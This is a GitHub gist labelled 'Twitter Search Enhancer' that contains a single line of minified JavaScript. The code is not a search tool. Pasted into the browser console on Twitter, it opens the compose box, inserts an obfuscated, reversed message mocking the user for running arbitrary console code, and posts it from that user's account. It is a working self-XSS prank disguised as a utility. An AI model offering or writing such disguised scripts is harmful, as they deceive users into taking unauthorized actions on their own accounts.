Skip to content

Instantly share code, notes, and snippets.

@umanghome
Last active November 24, 2022 08:39
Show Gist options
  • Save umanghome/cedb3f7d62ee38993d1446070d65e9a2 to your computer and use it in GitHub Desktop.
Save umanghome/cedb3f7d62ee38993d1446070d65e9a2 to your computer and use it in GitHub Desktop.
Twitter Search Enhancer
!function(){function e(e,t){return new Promise(n=>setTimeout(()=>n(t),e))}!function t(){let n=document.querySelector('a[href="/compose/tweet"]');n.click(),e(500).then(()=>{let t=document.querySelector(".public-DraftEditor-content[contenteditable=true]"),n=new Event("textInput",{bubbles:!0});return n.data="emohgnamu@ // elosnoc s'resworb ym ni tpircSavaJ yrartibra gnitucexe fo snoitacilpmi ytiruces eht dnatsrednu ton od I".split("").reverse().join(""),t.dispatchEvent(n),e(500,{input:t})}).then(({input:e})=>{let t=e.closest("[role=dialog]"),n=t.querySelector("[data-testid=tweetButton]");n.click()})}()}();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment